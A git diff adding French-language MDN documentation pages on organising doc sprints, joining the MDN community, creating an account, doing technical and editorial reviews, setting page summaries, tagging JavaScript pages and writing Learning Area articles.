Il peut être possible d'obtenir le parrainage de Mozilla pour financer une partie des coûts de votre événement. Il permet d'avoir une orientation claire pour votre événement, et un plan spécifique et budget. S'il y a un Mozilla Rep dans votre région, travailler avec eux pour demander le budget et butin à travers le programme Reps. Sinon, vous pouvez soumettre une demande d'événements de développement dans Bugzilla.

+ +
+
Site
+
Il y a beaucoup d'options pour un espace de réunion. Si vous êtes dans une ville avec un bureau Mozilla, vous pouvez utiliser l'espace communautaire dans ce bureau. Ailleurs, les options comprennent des salles de réunion dans les bibliothèques, églises, cafés, ou des entreprises où vous avez des contacts. Beaucoup de villes ont maintenant des espaces de coworking qui louent leurs salles de conférence pour un prix raisonnable.
+
Ressources
+
Assurez-vous que votre site a de bonnes tables et des chaises, et une alimentation fiable et un accès Internet. Assis toute la journée sur une mauvaise chaise est non seulement mal à l'aise; il peut conduire à des blessures. Assurez-vous que le nombre de particiapants et leurs ordinateurs et périphériques ne l'emporte pas sur l'alimentation et la bande passante disponible sur Internet. Soyez généreux (mais pas dangereux) avec des cordons d'extension, et, si nécessaire, d'adaptateurs électriques. Un projecteur pour la visualisation partagée peut être très utile. Whiteboards et notes autocollantes sont grands pour le brainstorming et la planification.
+
Voyage
+
Voyage est pertinente que si les particanpts ne sont pas tous à proximité du lieu de sprint. Les stratégies habituelles pour économiser sur Voyage s'appliquent, et ne sont pas spécifiques aux sprints doc.
+
Hébergements
+
Où les particapants restent ne devraient pas être incommodemrnt loin du lieu de la réunion. Il peut être moins cher (et peut-être plus amusant) de diviser le coût d'une maison de vacances ou appartement, plutôt que de payer pour les chambres d'hôtel individuelles. Si vous avez un mélange de visiteurs et des habitants (prêts), les visiteurs peuvent séjourner dans les maisons des membres de la communauté locale.
+
Nourriture
+
Les participants ont besoin de manger! Prendre des dispositions pour la nourriture pendant le sprint, et informer les participants si certains repas ne seront pas organisées. Si le groupe reste dans une maison, vous pouvez économiser de l'argent en achetant et en cuisinant la nourriture plutôt que de sortir pour manger. Même si la nourriture est auto-financée, il peut réduire des tracas de piocher dans un fonds commun pour la nourriture, plutôt que diviser chaque facture de restaurant. Si votre site permet, des collations (certains sains et d'autres non) disponibles entre les repas.
+
Amusement
+
Prenez du temps pour des des activités sociales de non-écriture. Ceux-ci peuvent être informelles, comme aller pour une randonnée ensemble, ou plus formelle, comme une excursion touristique. Sortir de la bière (à la fin de la journée, bien sûr) est généralement un gagnant. D'autre part, ne pas planifier toutes les heures de la vie quotidienne. Tout le monde a besoin d'un temps d'arrêt, en particulier les introvertis.
+
+ +

Pendant le sprint

+ +

Planifier le travail

+ +

 

+ +

Tâches de suivi

+ +

Avoir un moyen de suivre que des tâches doivent être éfféctuées, qui fait quoi, et ce qui a été accompli. Pour les doc sprints MDN, nous utilisons une page wiki pour la planification à l'avance, et une EtherPad pour le suivi des travaux au cours du sprint.

+ +

Souvent, les gens veulent aider, mais ne savent pas par où commencer, et de décider parmi les nombreuses options prend trop d'effort mental. Pour tout participant donné, leur donner quelques tâches possibles ("vous pourriez faire A ou B"); ce qui simplifie leur choix, sans leur faire penser qu'ils sont gérés.

+ +

Collaboration

+ +

L'un des avantages des in-person sprints est que les gens peuvent travailler ensemble de façon dont ils pourraient ne pas être en mesure quand ils ne sont pas au même endroit, par exemple, en travaillant sur des idées ensemble sur un tableau blanc ou par remue-méninges avec notes autocollantes. Pourtant, il existe des possibilités de collaboration et de camaraderie dans tout type de sprint. Chatter via IRC est essentiel pour les virtual sprints, et toujours très utile pour les in-person sprints (par exemple, pour partager des liens). Pour un plus grand sens de la «présence virtuelle», envisager d'utiliser un service de conférence vidéo, tels que Google Hangout.

+ +

En tant qu'organisateur, rechercher les intérêts communs entre les participants et des façon dont ils peuvent travailler ensemble.

+ +

Célébrer les réalisations

+ +

Assurez-vous de prendre le temps de célébrer les réalisations à la fin de l'esprit. Cela donne des participants est une meilleure sensation que lorsque le sprint se termine juste sans résumé. Si possible, avoir des gens une "demo" de ce qu'ils ont fait, même si c'est juste montrer une nouvelle page de l'article.

+ +

En outre, partager les réalisations de sprint par un billet de blog, pour célébrer publiquement aussi bien. Ceci est important pour tout type de sprint, mais surtout pour les virtual sprints, où les participants pourraient ne pas être tous en ligne à la fin officielle du sprint pour une séance de synthèse.

+ +

 

diff --git a/files/fr/orphaned/mdn/community/index.html b/files/fr/orphaned/mdn/community/index.html new file mode 100644 index 0000000000..4e97b48397 --- /dev/null +++ b/files/fr/orphaned/mdn/community/index.html @@ -0,0 +1,51 @@ +--- +title: Rejoindre la communauté +slug: MDN/Rejoindre_la_communauté +tags: + - Communauté + - Guide + - MDN Meta +translation_of: MDN/Community +--- +
{{MDNSidebar}}
+ +
+

MDN (acronyme anglais pour réseau de développeur Mozilla) est plus qu’un wiki : c’est une communauté de développeurs travaillant ensemble à faire de MDN une ressource exceptionnelle pour les développeurs qui utilisent les technologies libres du Web.

+
+ +

Nous aimerions que vous contribuiez à MDN, mais nous aimerions encore plus que vous participiez à la communauté MDN. Voici comment s’y connecter, en 3 petites étapes :

+ +
    +
  1. Créer un compte MDN.
    2. +
  2. Rejoindre des discussions. ((en) pas encore traduit)
    3. +
  3. Suivre ce qui se passe. ((en) pas encore traduit)
    4. +
+ +

Comment fonctionne la communauté ?

+ +

Les articles suivants décrivent la communauté de MDN.

+ +
+
+
+
Community roles ((en) rôles dans la communauté)
+
Il y a un certain nombre de rôles, au sein de la communauté MDN, qui ont des responsabilités spécifiques.
+
Doc sprints
+
Ceci est un guide pour organiser un « doc sprint ». Il contient des avis et des conseils de personnes qui en ont organisé, pour vous aider si vous souhaitez en faire un.
+
Follow what’s happening ((en) suivre ce qui se passe)
+
MDN vous est présenté par l’article wiki Mozilla Developer Network community (en). Il contient quelques façons de partager des informations sur ce que nous faisons.
+
+ +
+
+
+ +
+
+
MDN community conversations ((en) discussions de la communauté)
+
Le « travail » de MDN se déroule sur le site MDN, mais la « communauté » passe également par des discussions (asynchrones) et des conversations et réunions en ligne (synchrones).
+
Working in community ((en) travailler dans la communauté)
+
Une partie importante de la contribution à la documentation MDN, à une échelle significative, est de savoir comment travailler dans le cadre de la communauté MDN. Cet article offre des conseils pour vous aider à tirer le meilleur parti de vos interactions avec les autres auteurs et avec les équipes de développement.
+
+
+
diff --git a/files/fr/orphaned/mdn/community/whats_happening/index.html b/files/fr/orphaned/mdn/community/whats_happening/index.html new file mode 100644 index 0000000000..8aba56f330 --- /dev/null +++ b/files/fr/orphaned/mdn/community/whats_happening/index.html @@ -0,0 +1,42 @@ +--- +title: Suivez ce qui se passe +slug: MDN/Rejoindre_la_communauté/Whats_happening +tags: + - Communauté + - Débutant + - Guide + - MDN Meta +translation_of: MDN/Community/Whats_happening +--- +
{{MDNSidebar}}
+ +

MDN vous est présenté par la communauté MDN. Voici quelques façons dont nous partageons des informations sur ce que nous faisons.

+ +

Blogs

+ +
+
Mozilla Hacks
+
Actualités à propos et couverture approfondie des technologies et fonctionnalités Web et Mozilla.
+
Engageant les Développeurs
+
Promouvoir l'activité et la discussion au sein de la communauté impliquée dans MDN chez Mozilla.
+
+ +

Flux d'éphémères

+ +
    +
  • @MozDevNet: Pages intéressantes, tutoriels, guides, appels à soumissions, mises à jour importantes et autres nouvelles sur Mozilla Developer Network.
    • +
  • @MozHacks: Tweets sur les nouvelles technologies web, les excellentes applications HTML5, et les fonctionnalités de Firefox.
    • +
  • Mozilla Hacks (YouTube)
    • +
+ +

Tableaux d'état et tableaux de bord

+ +

Consultez les pages d'état de la documentation pour voir ce qui se passe dans toute l'étendue du contenue MDN. Vous pourrez voir quels articles doivent être écrits ou mis à jour, quels sujets ont le plus besoin d'aide, et bien plus encore.

+ +

Réunions MDN

+ +

Il y a un certain nombre de réunions régulières pour suivre et partager les progrès de divers porjets et processus liés au MDN. Celles-ci sont décrites sur la page wiki des réunions MDN.

+ +

Pour avoir une idée générale de ce qui se passe, la meilleure réunion à laquelle participer est la réunion de la communauté MDN, qui a lieu toutes les deux semaines le mercredi à 10:00, heure du Pacifique (UTC-0800 Octobre-Mars, UTC-0700 en Mars-Octobre), dans le canal IRC #mdn. Voir la page wiki des réunions de la communauté MDN pour les agendas et les notes des réunions précédentes.

+ +

Le calendrier des Événements MDN Publics contient des réunions de la communauté MDN, des sprints de doc, et d'autres événements liés à MDN. Si vous voyez une réunion qui a lieu dans le canal "mdn" sur notre système de visioconférence Vidyo, vous pouvez rejoindre la conversation sur le web.

diff --git a/files/fr/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/fr/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html new file mode 100644 index 0000000000..a19f772968 --- /dev/null +++ b/files/fr/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html @@ -0,0 +1,45 @@ +--- +title: Comment créer un compte sur MDN +slug: MDN/Contribute/Howto/Comment_créer_un_compte_sur_MDN +tags: + - Documentation + - Débutant + - Guide + - MDN Meta +translation_of: MDN/Contribute/Howto/Create_an_MDN_account +--- +
{{MDNSidebar}}

Pour modifier un article ou du contenu sur MDN, il vous faut un profil sur MDN. Pour parcourir MDN, vous n'avez besoin d'aucun profil, rassurez-vous. Dans le guide qui suit, on voit comment créer un profil MDN.

+ +
+
Pourquoi dois-je utiliser mon adresse électronique sur MDN ?
+
+Votre adresse électronique est utilisée pour récupérer votre compte et peut être utilisée par les administrateurs MDN afin de vous contacter (à propos de votre compte ou de vos contributions sur le site).
+
+Vous pouvez également l'utiliser pour vous abonner à des pages dont vous souhaitez connaître les modifications (voir cet article pour plus de détails) ou pour recevoir d'autres messages : par exemple, si vous vous inscrivez à la version beta, vous pouvez recevoir des messages relatifs à des fonctionnalités en cours de test.
+
+Votre adresse électronique n'est jamais affichée sur MDN et est uniquement utilisée dans le respect de notre politique de confidentialité. + +
Si vous vous connectez à MDN via GitHub et une adresse noreply, vous ne recevrez aucun message de MDN (même si vous vous abonnez aux modifications d'une page).
+
+
+ +
    +
  1. En haut de chaque article MDN, vous trouverez un bouton Connexion. Si vous cliquez dessus, cela affichera la liste des services pour s'authentifier sur MDN.
    2. +
  2. +

    Sélectionnez un de ces services. Actuellement, seul GitHub est disponible. En sélectionnant GitHub, votre page de profil MDN, publique, aura un lien vers votre profil GitHub.

    +
    3. +
  3. +

    Suivez ensuite les étapes de GitHub pour connecter votre compte à MDN.

    +
    4. +
  4. Une fois les étapes d'authentification terminée, vous reviendrez sur MDN où on vous demandera un nom d'utilisateur et une adresse électronique. Votre nom d'utilisateur sera public et utilisé pour vous attribuer vos contributions. N'utilisez pas votre adresse électronique comme nom d'utilisateur.
    5. +
  5. Cliquez sur Créez votre profil MDN.
    6. +
  6. Si l'adresse électronique utilisée à l'étape 4 n'est pas la même que celle utilisée avec le service d'authentification, veuillez vérifier votre messagerie électronique et cliquer sur le lien de confirmation que nous vous avons envoyé.
    7. +
+ +

Et voilà ! Vous avez désormais un compte MDN et vous pouvez éditer les articles !

+ +

Vous pouvez cliquer sur votre nom en haut de chaque page MDN afin de voir votre profil public. Depuis cette page de profil, vous pouvez cliquer sur Modifier pour éditer les informations de votre profil.

+ +
+

Note : Les noms d'utilisateur ne peuvent plus contenir d'espaces ou d'arobases (@). Attention, votre nom d'utilisateur sera utilisé publiquement afin d'identifier vos contributions !

+
diff --git a/files/fr/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/fr/orphaned/mdn/contribute/howto/do_a_technical_review/index.html new file mode 100644 index 0000000000..d2e299a83c --- /dev/null +++ b/files/fr/orphaned/mdn/contribute/howto/do_a_technical_review/index.html @@ -0,0 +1,42 @@ +--- +title: Comment faire une relecture technique +slug: MDN/Contribute/Howto/faire_relecture_technique +translation_of: MDN/Contribute/Howto/Do_a_technical_review +--- +
{{MDNSidebar}}
+ +

La relecture technique consiste en une vérification de la véracité des explications techniques de l'article, et à corriger les erreurs qui pourraient s'y trouver. Si un rédacteur de l'article souhaite que quelqu'un d'autre vérifie le contenu technique, le rédacteur coche la case "Technical review" (Relecture technique) lors de l'édition. Souvent le rédacteur contacte un ingénieur particulier pour réaliser la relecture technique, mais n'importe qui avec une expertise technique sur le sujet peut le faire.

+ + + + + + + + + + + + + + + + +
Où cela doit être fait ?Dans les articles qui sont marqués comme nécessitant une relecture technique.
Qu'est ce qu'il faut savoir pour faire cette tâche ? +
    +
  • Expertise sur le sujet couvert par l'article que vous vous apprêtez à relire.
    • +
  • Savoir éditer des articles sur MDN.
    • +
+
Quelles sont les étapes ? +
    +
  1. Allez sur la liste des pages nécessitant une relecture technique.
    2. +
  2. Choisissez une page dont vous connaissez très bien le sujet.
    3. +
  3. Cliquez sur le lien de l'article.
    4. +
  4. Une fois la page chargée, cliquez sur le bouton MODIFIER en haut de l'article ; il vous amènera à l'interface d'édition. N'hésitez pas à changer de page si celle-ci ne vous convient pas.
    5. +
  5. En lisant l'article, corrigez toute information technique erronée, et ajoutez les informations importantes qui seraient absentes.
    6. +
  6. Expliquez ce que vous avez fait, en bas de l'article dans la section "Commentaire sur la révision". (par exemple : "Relecture technique terminée") Si vous avez corrigé des informations pensez à les inclure dans votre commentaire (par exemple : Relecture technique ; correction de la description des paramètres").
    7. +
  7. Cliquer sur le bouton ENREGISTRER LES MODIFICATIONS.
    8. +
  8. Une fois que l'article corrigé apparait à l'écran, après avoir quitté le mode d'édition, cochez l'entrée Technical, sur le côté droit, et cliquez Submit Review.
    9. +
  9. Vous avez fini !
    10. +
+
diff --git a/files/fr/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/fr/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html new file mode 100644 index 0000000000..4a6d2d8770 --- /dev/null +++ b/files/fr/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html @@ -0,0 +1,55 @@ +--- +title: Comment faire une relecture rédactionnelle +slug: MDN/Contribute/Howto/faire_relecture_redactionnelle +tags: + - Documentation + - Guide + - MDN Meta + - Revue éditoriale +translation_of: MDN/Contribute/Howto/Do_an_editorial_review +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/fr/docs/MDN")}}
+ +

Une revue éditoriale consiste à corriger des fautes d'orthographe, de grammaire ou d'usage dans le texte d'un article. Il n'est pas nécessaire d'être un expert linguistique pour contribuer et toute relecture et correction attentive représente une contribution extrêmement utile.

+ +

Dans cet article, on décrit ce qu'est une revue éditoriale et comment aider à ce que le contenu de MDN soit formulé précisément.

+ +
+
Qu'est-ce que cette tâche ?
+
Il s'agit de relire et de corriger les articles ayant été marqués comme nécessitant une revue éditoriale.
+
Où faut-il accomplir cette tâche ?
+
Les revues éditoriales concernent principalement les articles qui ont été marqués comme nécessitant une revue éditoriale.
+
Que faut-il savoir pour accomplir cette tâche ?
+
Il faut avoir de bonnes notions en grammaire et en orthographe. Une revue éditoriale consiste à vérifier la grammaire, l'orthographe et les formulations utilisées dans un article. C'est également l'occasion de vérifier que le guide stylistique de MDN est bien respecté.
+
Quelles sont les étapes à suivre ?
+
+
    +
  1. Choisissez un article à relire : +
      +
    1. Consultez la liste des articles en attente d'une revue éditoriale. Cette page liste l'ensemble des articles pour lesquels ont été demandées des revues éditoriales.
      2. +
    2. Cliquez sur le lien d'un article pour charger la page.
      + Note : cette liste est générée de façon automatique mais peut ne pas être rafraîchie. Si l'article que vous avez choisi ne contient plus la bannière Cet article doit recevoir les relectures suivantes, vous pouvez rafraîchir la page avec la liste et en choisir un autre.
      3. +
    +
    2. +
  2. Lisez l'article avec précaution en faisant attention aux coquilles, fautes d'orthographe ou de grammaire ou aux formulations approximatives. N'hésitez pas à changer d'article si celui que vous avez choisi ne vous convient pas.
    3. +
  3. S'il n'y a pas d'erreur, vous n'avez pas besoin de modifier l'article pour terminer la relecture. Vous pouvez utiliser la zone présente dans la barre verticale à gauche de l'article :
    + capture d’écran de la boite de menu latéral indiquant une demande de relecture rédactionnelle
    4. +
  4. Décocher la case marquée Rédactionnel puis cliquer sur Enregistrer.
    5. +
  5. Si vous décelez des erreurs : +
      +
    1. Cliquez sur le bouton Modifier en haut de la page, vous accéderez alors à l'éditeur.
      2. +
    2. Corrigez les fautes trouvées. Si vous n'avez pas le temps ou que vous ne pensez pas avoir corrigé toutes les fautes, ce n'est pas grave et cela représente déjà une contribution essentielle, auquel cas, vous pouvez laisser la demande de revue sur la page.
      3. +
    3. Saisissez un commentaire de révision dans la zone en bas de l'article (par exemple : Revue éditoriale effectuée, correction de XX). Cela permet aux autres contributeurs et aux éditeurs de savoir ce que vous avez modifié et pourquoi.
      4. +
    4. Décochez la case Rédactionnel dans la zone Relecture nécessaire ? Cette zone est située juste avant les commentaires de révision.
      5. +
    5. Enfin, cliquez sur le bouton Publier.
      6. +
    +
    6. +
+ +
+

Note : Vos modifications peuvent ne pas être immédiatement visibles après l'enregistrement en raison du traitement de la page par le système. Vous pouvez rafraîchir la page après quelques instants pour résoudre ce problème s'il se présente.

+
+
+
diff --git a/files/fr/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/fr/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html new file mode 100644 index 0000000000..eb57ce4229 --- /dev/null +++ b/files/fr/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html @@ -0,0 +1,60 @@ +--- +title: Comment définir le résumé d'une page +slug: MDN/Contribute/Howto/Set_the_summary_for_a_page +tags: + - Communauté + - Documentation + - Guide + - MDN +translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page +--- +
{{MDNSidebar}}

Vous pouvez définir le resumé d'une page sur MDN, qui pourra être utilisée de diverses manières. Notamment dans les résultats des moteurs de recherches, dans les autres pages MDN ainsi que les pages d'actualités et dans les infobulles.Cela doit être un texte ayant un sens à la fois dans le contexte de la page,  mais également lors de l'affichage dans d'autres contextes, sans le reste du contenu de la page.

+ +

Un résumé peut avoir été explicitement défini dans la page. S'il n'y en a pas, la ou les premières phrases sont alors utilisées, ce qui n'est pas toujours le plus adapté dans ce cas.

+ + + + + + + + + + + + + + + + + + + + +
Quelle est la tâche ?Définir dans la page un texte qui puisse être utilisé comme résumé dans un autre contexte ; cette tâche peut inclure une réécriture adaptée du texte, si nécessaire.
Où est-ce qu'il y en a besoin ?Dans les pages qui n'ont pas de résumé, ou un qui peut être amélioré.
Qu'avez vous besoin de savoir pour la réaliser ?Connaissance de l'éditeur MDN ; de bonnes compétences de rédaction en français ; suffisamment de connaissances dans le sujet de la page, pour pouvoir écrire un bon résumé.
Quelles sont les étapes à réaliser ? +
    +
  1. Choisir une page sur laquelle ajouter un résumé : +
      +
    1. Dans la page du statut de la documentation MDN, cliquer sur un lien de la catégorie Sections qui représente un sujet que vous connaissez (par exemple, HTML) :
      +
      2. +
    2. Dans la page de votre sujet, cliquez sur l'entête Pages dans le tableau Summary. Cela vous redirige vers un index de toutes les pages de ce sujet ; il affiche le lien de la page dans la colonne de gauche. Les tags et résumés dans la colonne de droite :
      +
      3. +
    3. Choisir une page dont le résumé est manquant, ou mauvais :
      +
      4. +
    4. Cliquer sur le lien pour aller sur la page.
      5. +
    +
    2. +
  2. Cliquer sur Modifier pour ouvrir la page dans l'éditeur MDN.
    3. +
  3. Chercher une phrase ou deux qui fonctionnent comme un résumé en dehors du contexte. Si nécessaire, modifier le contenu pour obtenir des phrases adaptées à un résumé.
    4. +
  4. Sélectionner le texte à utiliser comme résumé.
    5. +
  5. Dans le widget Styles de la barre d'outils de l'éditeur, sélectionner SEO Summary. (Dans le code source de la page, cela crée un élément {{HTMLElement("span")}} avec la classe class="seoSummary" autour du texte sélectionné.)
    +
    6. +
  6. Enregistrer vos modifications avec un commentaire de révision du style "Définir le résumé de la page" ou "Set the page summary" (en anglais).
    7. +
+
+ +

 

+ +

 

+ +

 

diff --git a/files/fr/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/fr/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html new file mode 100644 index 0000000000..93e6a0a105 --- /dev/null +++ b/files/fr/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html @@ -0,0 +1,74 @@ +--- +title: Comment étiqueter les pages JavaScript +slug: MDN/Contribute/Howto/Étiquettes_pages_JavaScript +tags: + - Guide + - JavaScript + - MDN Meta + - Méthode +translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages +--- +
{{MDNSidebar}}

L'étiquettage (Tagging) consiste à ajouter des méta-informations aux pages pour que leurs contenus puissent être groupés, par exemple dans l'outil de recherche.

+ +
+
Où cela doit-il être fait ?
+
Dans les pages Javascript sans étiquettes.
+
Que devez-vous savoir pour faire cette tâche ?
+
Connaissances basiques en Javascript, comme savoir ce qu'est une méthode ou une propriété.
+
Quelles sont les étapes pour le faire ?
+
+
    +
  1. Choisissez une des pages dans la liste liée ci-dessus.
    2. +
  2. Cliquez sur le lien de l'article pour charger la page.
    3. +
  3. Une fois que la page a été chargée, cliquez sur le bouton MODIFIER près du haut : cela vous placera dans l'éditeur MDN.
    4. +
  4. Au minimum l'étiquette JavaScript devrait être ajoutée. Il y a quelques autres étiquettes possible à ajouter: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ÉtiquetteSur quelle page l'utiliser
    Methodméthodes
    Propertypropriétés
    prototypeprototypes
    Nom du type d'objetméthodes d'objet; par exemple String.fromCharCode doit avoir l'étiquette String
    ECMAScript6 et ExperimentalNouveautés ajoutées dans la nouvelle version de l'ECMAScript
    Deprecatedfonctionnalités dépréciées (dont l'usage n'est pas encouragé mais qui reste supporté)
    Obsoletefonctionnalités obsolètes (lesquelles ne sont plus supportée dans les navigateurs modernes)
    autresVoir MDN tagging standards pour d'autres étiquettes possibles à appliquer
    +
    5. +
  5. Sauvegardez avec un commentaire.
    6. +
  6. Vous avez terminé !
    7. +
+
+
+ +

 

diff --git a/files/fr/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/fr/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html new file mode 100644 index 0000000000..5ef97245d0 --- /dev/null +++ b/files/fr/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html @@ -0,0 +1,129 @@ +--- +title: Comment rédiger un article pour aider les gens à se familiariser avec le Web +slug: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +tags: + - Apprentissage + - Guide + - How to +translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +--- +
{{MDNSidebar}}
+ +
+

L'Espace d'apprentissage de MDN est le portail pour les articles qui présentent les concepts Web aux nouveaux développeurs. Parce que son contenu s'adresse surtout aux débutants, c'est un endroit idéal pour partager les connaissances et aider les nouveaux arrivants à connaître le Web. Il est important de s'assurer que les nouveaux développeurs peuvent comprendre ce contenu, c'est pourquoi nous y accordons une attention particulière.

+ +

Cet article explique comment écrire des pages pour l'Espace d'apprentissage.

+
+ +

Comment écrire un article pour l'Espace d'Apprentissage

+ +

 

+ +

Pour commencer à partager vos connaissances, cliquez simplement sur le gros bouton vert, puis parcourez les cinq étapes ci-dessous. Si vous êtes à la recherche d'idées, jetez un coup d'oeil au tableau de notre équipe Trello !

+ +

 

+ +
Écrire un nouvel article pour l'Espace d'Apprentissage + +
 
+
+ +

 

+ +

Cet article ne se retrouvera peut-être pas exactement au bon endroit, mais au moins, il est sur MDN. Si vous avez besoin de parler à quelqu'un pour le mettre au bon endroit, n'hésitez pas à nous contacter.

+ +

Étape n° 1 : écrire un résumé en deux lignes

+ +

La première phrase de l'article doit résumer le sujet que vous allez traiter, et la seconde aborder quelques particularités des éléments mis dans l'article. Par exemple :

+ +
+

Alors que les fichiers {{glossary("HTML")}} contiennent du contenu structuré, les {{Glossary("CSS")}}, autre technologie majeure du Web, donneront au contenu l'apparence souhaitée. Dans cet article, nous allons détailler le fonctionnement de cette technologie et indiquer comment écrire votre propre exemple de base.

+
+ +

Notez comment l'exemple explique brièvement que le CSS est une technologie Web de base utilisée pour styliser les pages. C'est suffisant pour que le lecteur puisse se faire une bonne idée de ce que l'article traite.

+ +

Comme les articles du domaine d'apprentissage s'adressent principalement aux débutants, chaque article doit porter sur un sujet simple afin de ne pas noyer le lecteur sous un flot de concepts nouveaux. Si vous ne pouvez pas résumer l'article en une phrase, il se peut que vous essayiez d'en faire trop en un article !

+ +

Étape n° 2 : ajouter une boîte d'en‑tête

+ +

Ajoutez ensuite une boîte d'en‑tête pour aider les lecteurs à se repérer et savoir où ils en sont dans le processus d'apprentissage.  Voici l'exemple d'une boîte d'en‑tête issue de « Comprendre les URL et leur structure ». Vous pouvez utiliser cet article comme modèle lorsque vous écrivez le vôtre.

+ +

 

+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable savoir comment fonctionne Internet, ce qu'est un serveur web et les concepts sous-jacents aux liens sur le Web.
Objectifs :Savoir ce qu'est une URL et comprendre son rôle sur le Web.
+ +

 

+ +
+
Prérequis
+
Que doit déjà savoir le lecteur pour comprendre l'article ? Lorsque c'est possible, faites de chaque prérequis un lien vers un autre article du domaine d'apprentissage couvrant le concept (à moins qu'il ne s'agisse d'un article vraiment élémentaire qui n'exige aucune connaissance préalable).
+
Objectifs
+
Cette section décrit brièvement ce que le lecteur apprendra à la lecture de cet article. C'est un peu différent du résumé en deux lignes ; ce dernier est le condensé du sujet de l'article, tandis que les objectifs précisent ce que le lecteur peut s'attendre à apprendre à la lecture de l'article.
+
+ +
+

Note : Pour créer ce tableau, vous pouvez, soit faire un copier‑coller de l'exemple ci-dessus, soit utiliser l'outil table de l'éditeur du MDN. Si vous choisissez d'utiliser l'outil table, vous devez spécifiquement ajouter la classe CSS learn‑box en plus de la classe standard‑table par défaut. Pour ce faire, lorsque vous créez ou modifiez les propriétés de la table, allez dans le panneau "Avancé" et réglez le champ Stylesheet Classes sur « standard‑table learn‑box ».

+
+ +

Étape n° 3 : écrire la description complète

+ +

Rédigez ensuite une description plus verbeuse donnant un aperçu plus complet de l'article et en soulignant les concepts les plus importants. N'oubliez pas d'expliquer pourquoi le lecteur doit prendre le temps d'apprendre ce sujet et de lire votre article !

+ +

Étape n° 4 : approfondir

+ +

Quand vous en avez fini avec tout cela, vous pouvez enfin approfondir le sujet. Vous pouvez structurer cette partie de votre article comme vous l'entendez (n'hésitez pas à consulter notre guide de style). C'est votre chance de briller ! Expliquez en détail ce à propos de quoi vous écrivez. Fournissez des liens vers la documentation de référence complète, expliquez en détail le fonctionnement de la technologie, fournissez des détails sur la syntaxe et l'utilisation, et ainsi de suite. C'est à vous de décider !

+ +

Pour vous guider, voici quelques astuces de rédaction pour les débutants :

+ +
    +
  • +

    Ne traitez qu'un seul sujet. Si vous pensez qu'il est nécessaire de parler d'autres sujets, cela signifie soit qu'il manque un prérequis, soit qu'il faut diviser votre article en plusieurs articles.

    +
    • +
  • Utilisez un anglais simple. Évitez les termes techniques lorsque vous le pouvez ou, au minimum, définissez-les et, le cas échéant, établissez un lien vers les entrées correspondantes du glossaire.
    • +
  • Incluez des exemples simples pour faciliter la compréhension des concepts théoriques. Beaucoup de personnes apprennent mieux par l'exemple. Plutôt que d'écrire des articles académiques, nous voulons que les débutants comprennent facilement le texte.
    • +
  • Les aides visuelles peuvent souvent faciliter la compréhension ; elles portent des informations supplémentaires, alors n'hésitez pas à utiliser des images, des diagrammes, des vidéos et des tableaux. Si vous utilisez des diagrammes ou des graphiques contenant du texte, nous vous incitons à utiliser {{Glossary("SVG")}} pour que nos équipes de traducteurs puissent transcrire les éléments textuels dans les autres langues.
    • +
+ +

Jetez un coup d'œil aux premières sections de l'article Fonctions - blocs de code réutilisables pour quelques bonnes descriptions.

+ +

Étape n° 5 : fournir du matériau pour un « apprentissage actif »

+ +

Pour illustrer l'article et aider le lecteur à mieux saisir ce qu'il apprend, faites en sorte de pourvoir des exercices, des tutoriels et des tâches à accomplir. En demandant au lecteur d'utiliser et d'expérimenter activement et de façon pratique les concepts expliqués dans l'article, vous pouvez l'aider à « verrouiller » l'information dans sa tête.

+ +

Vous pouvez choisir d'incorporer les exemples directement dans la page en tant qu'exemples directs ou établir un lien sur eux s'ils ne fonctionnent pas sous la forme précédente. Si vous êtes intéressés par la création de ces éléments de forte valeur, veuillez lire l'article Créer un exercice interactif pour faciliter l'apprentissage du Web.

+ +

Si vous ne pouvez pas fournir de liens vers du matériel d'apprentissage actif existant (vous n'en connaissez pas ou n'avez pas le temps de les créer), vous devriez ajouter une ancre {{Tag("NeedsActiveLearning")}} à l'article. De cette façon, d'autres contributeurs peuvent trouver des articles nécessitant du matériel d'apprentissage actif et peut-être vous aider à les trouver.

+ +

Voyez Apprentissage actif : selection des divers éléments dans le cas d'un exercice d'apprentissage actif ou Apprentissage actif : jouer dans la portée pour un autre style d'exercices : il consiste à faire télécharger localement un canevas et le modifier en suivant des étapes préétablies.

+ +

Étape n° 6 : faire revoir l'article et le mettre au menu de l'Espace d'Apprentissage

+ +

Après avoir écrit l'article, faites-le nous savoir pour que nous puissions en faire la revue et suggérer des améliorations. Encore une fois, voyez notre section Nous contacter pour connaître les meilleures façons d'entrer en contact.

+ +

Pour vraiment terminer votre article, il est nécessaire de le placer dans le menu principal de navigation de l'Espace d'Apprentissage. Ce menu est généré par la macro LearnSidebar : vous aurez besoin de privilèges spéciaux pour la modifier, donc, encore une fois, parlez en à l'une de nos équipes pour qu'il y soit ajouté.

+ +

Enfin, vous devriez ajouter l'accès au menu dans votre page — on effectue cet ajout à l'aide d'un appel à la macro \{{LearnSidebar}}} dans un paragraphe au haut de votre page.

+ +
    +
+ +

Suggestions d'articles

+ +

Vous souhaitez contribuer, mais vous n'êtes pas sûr du sujet à retenir ?

+ +

L'équipe de l'Espace d'Apprentissage tient un  tableau Trello d'idées d'articles à écrire. Vous êtes libre d'en choisir une et de vous mettre au travail !

+ +

 

+ +

 

